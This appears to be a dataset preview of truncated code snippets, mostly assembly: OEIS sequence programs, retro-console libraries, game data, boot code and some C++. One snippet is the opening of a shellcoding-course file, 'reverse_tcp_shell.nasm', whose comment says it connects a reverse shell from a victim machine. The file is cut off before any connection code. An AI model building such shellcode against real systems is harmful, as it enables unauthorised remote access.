text
stringlengths
1
1.05M
; A265528: Largest base-2 palindrome m <= 2n, written in base 2. ; 0,1,11,101,111,1001,1001,1001,1111,10001,10001,10101,10101,10101,11011,11011,11111,100001,100001,100001,100001,100001,100001,101101,101101,101101,110011,110011,110011,110011,110011,110011,111111,1000001,1000001,1000001,1000001,1001001,1001001,1001001,10...
page 49,132 TITLE EXGOTO - executors for goto and gosub varients ;*** ;exgoto - executors for goto and gosub varients ; ; Copyright <C> 1986, Microsoft Corporation ; ;Purpose: ; ; ;**************************************************************************** .xlist include version.inc IncludeOnce architec Include...
/* * ProcStatFile.cpp * * Created on: 2012-11-1 * Author: chenhl */ #include <cetty/zurg/slave/ProcStatFile.h> #include <cetty/util/SmallFile.h> #include <cetty/util/StringUtil.h> #include <cetty/logging/LoggerHelper.h> namespace cetty { namespace zurg { namespace slave { using namespace cetty::util; usin...
#include <algorithm> #include <cassert> #include <string> // Otrzymujesz napis. Zamien wszystkie znaki napisu // na odpowiadajace im numery w tablicy ASCII. Podmien // otrzymany napis na uzyskane numery oddzielone przecinkami. void zamienV1(std::string &napis) { if (napis.empty()) return; std::string wynik ...
; A123680: a(n) = Sum_{k=0..n} C(n+k-1,k)*k!. ; Submitted by Jon Maiga ; 1,2,9,76,985,17046,366289,9374968,278095761,9375293170,353906211241,14785127222724,677150215857193,33734100501544366,1816008001717251105,105048613959883117936,6497985798745934394529,427999600108502895779658,29906414651967826909012921,2209552957065...
; ; Drawbox ; ; Generic high resolution version ; ; ; $Id: w_drawb.asm,v 1.2 2016-10-18 06:52:34 stefano Exp $ ; INCLUDE "graphics/grafix.inc" SECTION code_clib PUBLIC drawb PUBLIC _drawb EXTERN w_plotpixel EXTERN w_line_r EXTERN swapgfxbk EXTERN swapgfxbk1 EXTERN __graphics_end .drawb ._drawb push ix...
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r14 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x452e, %r12 nop cmp %r14, %r14 movups (%r12), %xmm2 vpextrq $0, %xmm2, %rbx nop nop and %rdi, %rdi lea addresses_WC_ht+0xcfae, %rcx nop nop nop nop sub $24863, %r14 movb $0x6...
; ; Amstrad CPC library ; (CALLER linkage for function pointers) ; ****************************************************** ; ** Librería de rutinas para Amstrad CPC ** ; ** Raúl Simarro, Artaburu 2009 ** ; ****************************************************** ; ; ; $Id: cpc...
_tester1: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "user.h" #include "fcntl.h" #include "procstat.h" #include <stddef.h> int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc ...
; A179991: Nonhomogeneous three-term sequence a(n) = a(n-1) + a(n-2) + n. ; 2,3,8,15,28,49,84,141,234,385,630,1027,1670,2711,4396,7123,11536,18677,30232,48929,79182,128133,207338,335495,542858,878379,1421264,2299671,3720964,6020665,9741660,15762357,25504050,41266441,66770526,108037003,174807566,282844607,457652212,7404...
; A019564: Coordination sequence for C_8 lattice. ; Submitted by Christian Krause ; 1,128,2816,27008,157184,658048,2187520,6140800,15158272,33830016,69629696,134110592,244396544,425000576,710003968,1145628544,1793234944,2732779648,4066763520,5924704640,8468168192,11896386176,16452499712,22430456704,30182597632,40127962...
override_great_fairy_cutscene: ; a0 = global context ; a2 = fairy actor addiu sp, sp, -0x18 sw ra, 0x10 (sp) lw t0, 0x1D2C (a0) ; t0 = switch flags li t1, 1 sll t1, t1, 0x18 ; t1 = ZL switch flag and v0, t0, t1 beqz v0, @@return ; Do nothing until ZL is p...
TITLE XRFMAP - Copyright (c) SLR Systems 1994 INCLUDE MACROS INCLUDE SYMBOLS INCLUDE MODULES PUBLIC ALLOW_XREF_MAP,DO_XREF_MAP .DATA EXTERNDEF XOUTBUF:BYTE EXTERNDEF FIRST_XREF_BLK:DWORD,PAGEWIDTH:DWORD EXTERNDEF XREF_OK_SEM:GLOBALSEM_STRUCT,MODULE_GARRAY:STD_PTR_S,SYMBOL_GARRAY:STD_PTR_S EX...
; A065338: a(1) = 1, a(p) = p mod 4 for p prime and a(u * v) = a(u) * a(v) for u, v > 0. ; Submitted by Christian Krause ; 1,2,3,4,1,6,3,8,9,2,3,12,1,6,3,16,1,18,3,4,9,6,3,24,1,2,27,12,1,6,3,32,9,2,3,36,1,6,3,8,1,18,3,12,9,6,3,48,9,2,3,4,1,54,3,24,9,2,3,12,1,6,27,64,1,18,3,4,9,6,3,72,1,2,3,12,9,6,3,16,81,2,3,36,1,6,3,2...
; A055991: a(n) is its own 4th difference. ; 1,5,19,69,250,907,3292,11949,43371,157422,571388,2073943,7527704,27322992,99173120,359964521,1306548149,4742323107,17213011605,62477347458,226771411939,823102698260,2987581397893,10843899100203,39359646494758,142862060765884,518540439863791,1882124521602480,6831468565398432 ...
db 0 ; species ID placeholder db 65, 95, 57, 93, 100, 85 ; hp atk def spd sat sdf db FIRE, FIRE ; type db 45 ; catch rate db 167 ; base exp db BURNT_BERRY, BURNT_BERRY ; items db GENDER_F25 ; gender ratio db 100 ; unknown 1 db 25 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/magm...
org 100h call sort call copy call print ret sort proc lea si,array mov al,0 mov cx,lenght dec cx ;loop will return lenght-1 times mov bx,lenght dec bx outer_loop: push cx ;record mov cx,bx sub bx,1 inner_loop: mov al,[si] mov dl,[si+1] cmp al,dl jg swap jmp ex...
; A051746: a(n) = n(n+7)(n+1)(n^2+2n+12)/120. ; 2,9,27,66,141,273,490,828,1332,2057,3069,4446,6279,8673,11748,15640,20502,26505,33839,42714,53361,66033,81006,98580,119080,142857,170289,201782,237771,278721,325128,377520,436458,502537,576387,658674,750101,851409,963378,1086828,1222620,1371657,1534885,1713294,1907919,211...
/////////////////////////////////////////////////////////////////////////////// //////////////////////// CADAC++ Simulation FALCON6 /////////////////////// /////////////////////////////////////////////////////////////////////////////// //FILE: execution.cpp // //Initializing and executing the simulation // //020923...
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. #include <memory> #include <unordered_map> #include "core/framework/kernel_registry.h" #include "core/framework/session_state.h" using namespace ::onnxruntime::common; namespace onnxruntime { namespace { // Traverses the ...
INCLUDE "defines.asm" SECTION "Header", ROM0[$100] ; This is your ROM's entry point ; You have 4 bytes of code to do... something sub $11 ; This helps check if we're on CGB more efficiently jr EntryPoint ; Make sure to allocate some space for the header, so no important ; code gets...
atoi: push ebx push ecx push edx push esi push esi,eax push eax, 0 push ecx, 0 .multiplyLoop: xor ebx, ebx mov bl, [esi+ecx] cmp bl, 48 jl .finished cmp bl, 57 jg .finished sub bl, 48 add eax, eb...
;//########################################################################### ;// ;// FILE: f2838x_codestartbranch.asm ;// ;// TITLE: Branch for redirecting code execution after boot. ;// ;// For these examples, code_start is the first code that is executed after ;// exiting the boot ROM code. ;// ;// The codestart s...
;; @file ; Copyright (c) 1999 - 2016, Intel Corporation. All rights reserved.<BR> ; ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://o...
/************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to y...
/*************************************************************************** * Copyright ESIEE Paris (2018) * * * * Contributor(s) : Benjamin Perret * * ...
SECTION code_fp_math48 PUBLIC round EXTERN cm48_sccz80_round defc round = cm48_sccz80_round
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r15 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x148fe, %r13 clflush (%r13) nop nop nop nop nop xor $21653, %r15 vmovups (%r13), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %r10 nop xor %rdx, %rdx lea addresses_D...
.model small .data .code main proc mov ax,52H add ax,87H daa endp end main
; A342380: Expansion of e.g.f. (exp(x)-1)*(exp(x) - x^4/24 - x^3/6 - x^2/2 - x - 1). ; 0,0,0,0,0,0,6,28,92,255,637,1485,3301,7098,14912,30826,63018,127857,258095,519251,1042379,2089604,4185194,8377704,16764264,33539155,67090961,134196873,268411297,536843070,1073709892,2147447190,4294925846,8589887653,17179816227 seq $...
; ; This file is automatically generated ; ; Do not edit!!! ; ; djm 12/2/2000 ; ; ZSock Lib function: tcp_setctimeout PUBLIC tcp_setctimeout EXTERN no_zsock INCLUDE "packages.def" INCLUDE "zsock.def" .tcp_setctimeout ld a,r_tcp_setctimeout call_pkg(tcp_all) ret nc ; We failed..are we installed? cp rc_pnf ...
; A083420: a(n) = 2*4^n - 1. ; 1,7,31,127,511,2047,8191,32767,131071,524287,2097151,8388607,33554431,134217727,536870911,2147483647,8589934591,34359738367,137438953471,549755813887,2199023255551,8796093022207,35184372088831,140737488355327,562949953421311,2251799813685247,9007199254740991,36028797018963967,144115188075...
; Filename: reverse_tcp_shell.nasm ; Author: Bohan Zhang ; Website: https://bohansec.com ; SLAE-ID: 1562 ; ; ; Purpose: connect a reverse tcp shell from the victim machine to the host machine global _start section .text _start: ;init the registers xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx xor e...
section ".data" xdef pSnd_SetLoop pSnd_SetLoop: move.b d0,loop rts
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r8 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x16d2a, %rsi lea addresses_UC_ht+0xbe2a, %rdi nop nop cmp %r8, %r8 mov $62, %rcx rep movsq nop nop nop nop sub %r13, %r13 lea addresses_UC_ht+0xda6a, %rdi sub %rax, %rax mov (...
; display chars 'a'~'z' in order assume cs:code code segment start: mov ax, 0b800h mov es, ax mov ah, 'a' s: mov es:[160*12+40*2], ah inc ah cmp ah, 'z' jna s mov ax, 4c00h int 21h code ends end start
#ifndef ATTACH_H #include "Attach.h" #endif double examples::f1(double x) { // This function should have a root on [-4, 4] return exp(x) + pow(2.0,-x) + 2.0*sin(x) - 6.0; } double examples::f2(double x) { // This function should have a root on [0, 4] return 2.0*x*cos(2.0*x) - template_funcs::DSQ...
; --------------------------------------------------------------------------- ; Sprite mappings - Moto Bug enemy (GHZ) ; --------------------------------------------------------------------------- dc.w byte_F7AE-Map_obj40, byte_F7C3-Map_obj40 dc.w byte_F7D8-Map_obj40, byte_F7F2-Map_obj40 dc.w byte_F7F8-Map_obj40,...
;-------------------------------------------------------- ; File Created by C51 ; Version 1.0.0 #1069 (Apr 23 2015) (MSVC) ; This file was generated Sun Feb 26 15:48:40 2017 ;-------------------------------------------------------- $name f38x_autotest $optc51 --model-small R_DSEG segment data R_CSEG segment cod...
;================================================================================ ; Maiden Crystal Fixes ;================================================================================ ;-------------------------------------------------------------------------------- ; MaidenCrystalScript ;---------------------------...
#include <math.h> #include <src/sensors/earth_sensor.h> // Defined surface normal (unit) vectors in all six sides of the satellite const double EarthSensor::kPosX[3][1] = {{1}, {0}, {0}}, EarthSensor::kPosY[3][1] = {{0}, {1}, {0}}, EarthSensor::kNegX[3][1] = {{-1}, {0}, {0}}, Ear...
INCLUDE "hardware.inc" INCLUDE "header.inc" ;-------------------------------------------------------------------------- ;- RESTART VECTORS - ;-------------------------------------------------------------------------- SECTION "RST_00",HOME[$0000] ret SEC...
// P1055 ISBN号码 // https://www.luogu.org/problemnew/show/P1055 #include <stdio.h> int main(){ // Gets the isbn String Input char isbn[13]; gets(isbn); // Calculate the Verify Code int verify = 0; verify += (isbn[0]-'0') * 1; for (int i = 2; i <= 4; i++) { ...
/* * Initial kernel for filling initial BSD command buffer * Copyright © <2010>, Intel Corporation. * * This program is licensed under the terms and conditions of the * Eclipse Public License (EPL), version 1.0. The full text of the EPL is at * http://www.opensource.org/licenses/eclipse-1.0.php. * */ ...
/**************************************************************************** * triangle.cpp * * This module implements primitives for triangles and smooth triangles. * * from Persistence of Vision(tm) Ray Tracer version 3.6. * Copyright 1991-2003 Persistence of Vision Team * Copyright 2003-...
global shortest_steps_to_num ; <-- EAX shortest_steps_to_num(EDI num) --> shortest_steps_to_num: xor eax, eax ; eax = step counter, edi = num loop: cmp edi, 1 jbe exit ; 1 is reached test edi, 1 jz no_dec dec edi ; +1 step inc eax no_dec: sar edi, 1 ; ...
; A162466: a(n) = 12*a(n-2) for n > 2; a(1) = 1, a(2) = 8. ; Submitted by Christian Krause ; 1,8,12,96,144,1152,1728,13824,20736,165888,248832,1990656,2985984,23887872,35831808,286654464,429981696,3439853568,5159780352,41278242816,61917364224,495338913792,743008370688,5944066965504 mov $1,1 lpb $0 sub $0,2 mul $1,...
; A216689: E.g.f. exp( x * exp(x)^2 ). ; Submitted by Jon Maiga ; 1,1,5,25,153,1121,9373,87417,898033,10052353,121492341,1573957529,21729801481,318121178337,4917743697805,79981695655801,1364227940101857,24335561350365953,452874096174214117,8772713803852981785,176541611843378273401,3684142819311127955041,795963882710961...
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: Nimbus Font Converter FILE: ninfntStrings.asm AUTHOR: Gene Anderson, Apr 26, 1991 REVISION HISTORY: Name Date Description ---- ---- ---------...
ORG 0 MOVE MSTART, SP MOVE 1, R0 STORE R0, (M1) LOAD R0, (M1) ; assert R0 == 1 LOAD R1, (NUM1) STORE R1, (SP+4) LOAD R1, (SP+4) ; assert R1 == 0xABCDDCBA MOVE 2, R2 STOREH R2, (M3) LOADH R2, (...
db DEX_RAPIDASH ; pokedex id db 65 ; base hp db 100 ; base attack db 70 ; base defense db 105 ; base speed db 80 ; base special db FIRE ; species type 1 db FIRE ; species type 2 db FULL_HEAL ; catch rate db 192 ; base exp yield INCBIN "pic/ymon/rapidash.pic",0,1 ; 77, sprite dimensions dw RapidashPicFront dw RapidashPi...
; A216318: Number of peaks in all Dyck n-paths after changing each valley to a peak by the transform DU -> UD. ; Submitted by Christian Krause ; 0,1,2,8,31,119,456,1749,6721,25883,99892,386308,1496782,5809478,22584160,87922215,342741285,1337698515,5226732060,20442936360,80031775890,313585934610,1229695855440,4825705232...
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x1135, %rsi lea addresses_normal_ht+0x17c35, %rdi nop nop nop nop nop cmp %rdx, %rdx mov $34, %rcx rep movsq nop nop nop nop sub %r13, %r13 lea addresses_A_ht+0xcbad, %r13 nop ...
; A016724: Expansion of (2-2*x-x^2)/((1-2*x^2)*(1-x)^2). ; 2,2,5,4,9,6,15,8,25,10,43,12,77,14,143,16,273,18,531,20,1045,22,2071,24,4121,26,8219,28,16413,30,32799,32,65569,34,131107,36,262181,38,524327,40,1048617,42,2097195,44,4194349,46,8388655,48,16777265,50,33554483,52,67108917,54,134217783,56,268435513,58,536870971,...
.include "header.asm" CODE .include "code.asm" DATA .include "data.asm"
; A099525: Expansion of 1/(1-2x-3x^3). ; Submitted by Christian Krause ; 1,2,4,11,28,68,169,422,1048,2603,6472,16088,39985,99386,247036,614027,1526212,3793532,9429145,23436926,58254448,144796331,359903440,894570224,2223529441,5526769202,13737249076,34145086475,84870480556 lpb $0 sub $0,1 mul $1,3 add $2,27 add...
jmp main .org 0x2E // TIMER0 OVF jmp timer_interrupt .org 0x4C main: // Stack init ldi r16, low(RAMEND) ldi r17, high(RAMEND) out SPL, r16 out SPH, r17 // Timer init ldi r16, 0 ldi r17, (1<<CS02) | (0<<CS01) | (1<<CS00) // 1024 prescaler = 101 ldi r18, (1<<TOIE0) // overflow interrupt en out TCCR0A, r16 out...
; $Id: bit_fx2_mwr.asm $ ; ; 1 bit sound library - version for "memory write" I/O architectures ; sound effects module. ; Alternate sound library by Stefano Bodrato ; IF !__CPU_GBZ80__ && !__CPU_INTEL__ SECTION smc_clib PUBLIC bit_fx2 PUBLIC _bit_fx2 INCLUDE "games/g...
// Copyright (c) 2011-2016 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "bitcoinunits.h" #include "primitives/transaction.h" #include <QStringList> BitcoinUnits::BitcoinUnits(QObject *p...
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r15 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x150e8, %rdx nop nop nop inc %r12 vmovups (%rdx), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %r8 nop nop nop nop xor $2828, %r15 lea addresses_D_ht+0xdc68, %rsi le...
; A130614: a(n) = p^(p-2), where p = prime(n). ; Submitted by Jon Maiga ; 1,3,125,16807,2357947691,1792160394037,2862423051509815793,5480386857784802185939,39471584120695485887249589623,3053134545970524535745336759489912159909,17761887753093897979823770061456102763834271,771010588442496962313975901095385898183155301926...
; A020838: Expansion of 1/((1-7x)(1-8x)(1-10x)). ; Submitted by Jamie Morken(s2) ; 1,25,419,5885,74811,892605,10199659,113009005,1223954171,13030808285,136920690699,1424085096525,14693717768731,150657001125565,1537006821834539,15618310264486445,158202271944562491,1598408704357196445,16116803336462447179,162241162602933...
; ----- void __CALLEE__ cplot_callee(int x, int y, int c) SECTION code_graphics PUBLIC cplot_callee PUBLIC _cplot_callee PUBLIC asm_cplot EXTERN swapgfxbk EXTERN swapgfxbk1 EXTERN __gfx_color EXTERN w_cplotpixel INCLUDE "graphics/grafix.inc" .cplot_callee ._cplot_callee ...
# Variaveis associadas aos registradores: # endBase -> $16 # k -> $17 # x -> $18 # y -> $19 .data x: .word 3 y: .word 4 .text .globl main main: addi $8, $0, 0x1001 # t0 = 0x00001001 sll $16, $8, 0x10 # t0 = 0x10010000 lw $18, 0x0($16) # x = mem[0 + endBase] lw $19, 0x4($16) # y = mem[4 + endBase] ...
db "RUSHING@" ; species name db "When running in a" next "straight line, it" next "can easily top 60" page "miles an hour. It" next "has a tough time" next "with curved roads.@"
// Copyright 2020 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "src/developer/shell/parser/parser.h" #include <lib/syslog/cpp/macros.h> #include "src/developer/shell/parser/ast.h" #include "src/developer/she...
; A057721: a(n) = n^4 + 3*n^2 + 1. ; 1,5,29,109,305,701,1405,2549,4289,6805,10301,15005,21169,29069,39005,51301,66305,84389,105949,131405,161201,195805,235709,281429,333505,392501,459005,533629,617009,709805,812701,926405,1051649 pow $0,2 mov $1,$0 add $1,1 pow $1,2 add $1,$0
; ; Amstrad CPC library ; ****************************************************** ; ** Librería de rutinas para Amstrad CPC ** ; ** Raúl Simarro, Artaburu 2009 ** ; ****************************************************** ; ; $Id: cpc_PrintStr.asm $ ; SECTION code_clib ...
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x11e85, %rsi lea addresses_A_ht+0x15a05, %rdi nop nop nop nop xor $65163, %r14 mov $18, %rcx rep movsw nop nop nop dec %rdx lea addresses_D_ht+0x1b685, %rbp nop and %r10, %r10 mov (%rb...
//Copyright (c) 2016, Daniel Moore, Madaline Gannon, and The Frank-Ratchye STUDIO for Creative Inquiry All rights reserved. //-------------------------------------------------------------- // // // Follow Path on Surface Example // // //-------------------------------------------------------------- // // This example...
Sound_9F_Header: smpsHeaderStartSong 3 smpsHeaderVoice Sound_9F_Voices smpsHeaderTempoSFX $01 smpsHeaderChanSFX $02 smpsHeaderSFXChannel cFM5, Sound_9F_FM5, $F8, $08 smpsHeaderSFXChannel cFM4, Sound_9F_FM4, $F1, $0F ; FM4 Data Sound_9F_FM4: dc.b nRst, $03 ; FM5 Data Sound_9F_FM5: smpsSetvoice $...
SECTION code_fp_am9511 PUBLIC ___fsneq_callee EXTERN cam32_sdcc___fsneq_callee defc ___fsneq_callee = cam32_sdcc___fsneq_callee
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: chart library FILE: axisValue.asm AUTHOR: Chris Boyke METHODS: Name Description ---- ----------- FUNCTIONS: Scope Name Description ----- -...
; ---------------------------------------------------------------------- ; MATHEMATICS WORDS HSTOD: DB ^4 "S->" ^'D' ; ***** S->D DW HCOLD STOD: DW STOD0 STOD0: CLW R1 ; Assume high word zero INW SP ; Get operand high byte ...
/**************************************************************************** Copyright (c) 2013 Zynga Inc. Copyright (c) 2013-2016 Chukong Technologies Inc. http://www.cocos2d-x.org Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files ...
;courtesy of the following website: https://cs.nyu.edu/courses/fall14/CSCI-UA.0436-001/MIPS_Test_Programs.html sub r0,r0,r0 ; set reg[0] to 0 lw r1,0(r0) ; reg[1] <- mem[0] (= 20) lw r2,0(r1) ; reg[2] <- mem[20] lw r3,4(r1) ; reg[3] <- mem[24] and r4,r2,r3 ; reg[4] <- reg[2] AND reg[3]...
/*************************************************** * Problem Name : A.cpp * Problem Link : https://codeforces.com/contest/1102/problem/A * OJ : Codeforces * Verdict : AC * Date : 2019-01-09 * Problem Type : Div 3 - A * Author Name : Saikat Sharma * University : CSE, MBSTU **********...
#pragma once #include "dsp/fir.hpp" namespace rack { template<int OVERSAMPLE, int QUALITY> struct Decimator { DoubleRingBuffer<float, OVERSAMPLE*QUALITY> inBuffer; float kernel[OVERSAMPLE*QUALITY]; Decimator(float cutoff = 0.9) { boxcarFIR(kernel, OVERSAMPLE*QUALITY, cutoff * 0.5 / OVERSAMPLE); blackmanHarr...
//================================================================================================= /*! // \file src/mathtest/dmatsmatschur/MHbMCb.cpp // \brief Source file for the MHbMCb dense matrix/sparse matrix Schur product math test // // Copyright (C) 2012-2019 Klaus Iglberger - All Rights Reserved // // Thi...
.file "a28.c" .section .text.startup,"ax",@progbits .globl main .type main, @function main: pushl %ebx movl $51, %ebx subl $8, %esp movl 16(%esp), %eax leal -37(%eax), %edx cmpl $89, %edx ja .L0000001C.startup .L00000015.startup: movsbl CSWTCH.1-37(%eax), %ebx .L...
; $Id: EMAllA.asm 69221 2017-10-24 15:07:46Z vboxsync $ ;; @file ; EM Assembly Routines. ; ; ; Copyright (C) 2006-2017 Oracle Corporation ; ; This file is part of VirtualBox Open Source Edition (OSE), as ; available from http://www.virtualbox.org. This file is free software; ; you can redistribute it and/or modify it ...
; Global Descriptor Table ; empty segment because GDT starts with that GDT_start: ; don't remove the labels, they're needed to compute sizes and jumps ; the GDT starts with a null 8-byte dd 0x0 ; 4 byte dd...
; A074993: a(n) = floor((concatenation of n, n+1)/2). ; 0,6,11,17,22,28,33,39,44,455,505,556,606,657,707,758,808,859,909,960,1010,1061,1111,1162,1212,1263,1313,1364,1414,1465,1515,1566,1616,1667,1717,1768,1818,1869,1919,1970,2020,2071,2121,2172,2222,2273,2323,2374 seq $0,127421 ; Numbers whose decimal expansion is a c...
; A270804: 0 followed by the positions of the 1's in the inverse Thue-Morse sequence A270803. ; 0,1,2,7,8,9,10,31,32,33,34,39,40,41,42,127,128,129,130,135,136,137,138,159,160,161,162,167,168,169,170,511,512,513,514,519,520,521,522,543,544,545,546,551,552,553,554,639,640,641,642,647,648,649,650,671,672,673,674,679,680,6...
; ; Enterprise 64/128 specific routines ; by Stefano Bodrato, 2011 ; ; exos_capture_channel(unsigned char main_channel, unsigned char secondary_channel); ; ; ; $Id: exos_capture_channel_callee.asm,v 1.4 2016-06-19 20:17:32 dom Exp $ ; SECTION code_clib PUBLIC exos_capture_channel_callee PUBLIC _exos_capture_ch...
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: MODULE: FILE: meltpref.asm AUTHOR: Adam de Boor, Dec 3, 1992 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Descriptio...
; Licensed to the .NET Foundation under one or more agreements. ; The .NET Foundation licenses this file to you under the MIT license. ; See the LICENSE file in the project root for more information. ; ==++== ; ; ; ==--== ; ; FILE: asmhelpers.asm ; ; *** NOTE: If you make changes to this file, propagate the changes...
#include "CppToJavaConverter.h" #include <jni.h> jobject CppToJavaConverter::createPlace(Place place, JNIEnv *env) { jclass placeClass = env->FindClass("fr/mim/cl/server/model/Place"); jmethodID placeConstructor = env->GetMethodID(placeClass, "<init>", "(JLjava/lang/String;DD)V"); jobject placeObject = env...
; ; Z88 Graphics Functions - Small C+ stubs ; ; Written around the Interlogic Standard Library ; ; Stubs Written by D Morris - 30/9/98 ; ; ; $Id: plot.asm,v 1.8 2016-04-13 21:09:09 dom Exp $ ; ;Usage: plot(struct *pixel) SECTION code_clib PUBLIC plot PUBL...
// This is a part of the Microsoft Foundation Classes C++ library. // Copyright (c) Microsoft Corporation. All rights reserved. // // This source code is only intended as a supplement to the // Microsoft Foundation Classes Reference and related // electronic documentation provided with the library. // See these source...
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r14 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1b633, %r12 nop nop nop nop and %rbp, %rbp movb $0x61, (%r12) nop nop nop sub $28994, %r14 lea addresses_UC_ht+0xb147, %r13 clflush (%r13) nop nop nop nop and ...
#include <iostream> #include <bits/stdc++.h> #define ll long long using namespace std; #include <ext/pb_ds/assoc_container.hpp> #include <ext/pb_ds/tree_policy.hpp> #define popCount(x) __builtin_popcountll(x) using namespace __gnu_pbds; /** * Auto-generated code below aims at helping you parse * the standard input a...
#pragma once #include "Common.hpp" #define Interface class #define implements public
tilecoll WALL, WALL, WALL, WALL ; 00 tilecoll WALL, WALL, WALL, WALL ; 01 tilecoll WALL, STAIRCASE, FLOOR, FLOOR ; 02 tilecoll WALL, WALL, TV, BOOKSHELF ; 03 tilecoll WALL, WALL, FLOOR, FLOOR ; 04 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 05 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 06 tilecoll WALL, WALL, FLOOR, FLOOR...
; A232091: Smallest square or promic (oblong) number greater than or equal to n. ; 0,1,2,4,4,6,6,9,9,9,12,12,12,16,16,16,16,20,20,20,20,25,25,25,25,25,30,30,30,30,30,36,36,36,36,36,36,42,42,42,42,42,42,49,49,49,49,49,49,49,56,56,56,56,56,56,56,64,64,64,64,64,64,64,64,72,72,72,72,72,72,72,72,81,81,81,81,81,81,81,81,81,9...
;//////////////////////////////////////////////////////////////////////////////////////////////////////// ;// Part of Injectable Generic Camera System ;// Copyright(c) 2017, Frans Bouma ;// All rights reserved. ;// https://github.com/FransBouma/InjectableGenericCameraSystem ;// ;// Redistribution and use in source and ...
/** * Copyright (C) 2015 MongoDB Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License, version 3, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will ...
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* */ /* This file is part of the HiGHS linear optimization suite */ /* */ /* Written an...
//Made By Phuong Nam PROPTIT <3// #pragma GCC Optimize("O3") #include<bits/stdc++.h> #include<string> #include<vector> #define endl '\n' #define alphaa "abcdefghijklmnopqrstuvwxyz" #define ALPHAA "ABCDEFGHIJKLMNOPQRSTUVWXYZ" #define f(i,a,b) for(int i=a;i<=b;i++) #define f1(i,n) for(int i=1;i<=n;i++) #define f0(i,n) fo...
; A006218: a(n) = Sum_{k=1..n} floor(n/k); also Sum_{k=1..n} d(k), where d = number of divisors (A000005); also number of solutions to x*y = z with 1 <= x,y,z <= n. ; Submitted by Jamie Morken(s4) ; 0,1,3,5,8,10,14,16,20,23,27,29,35,37,41,45,50,52,58,60,66,70,74,76,84,87,91,95,101,103,111,113,119,123,127,131,140,142,14...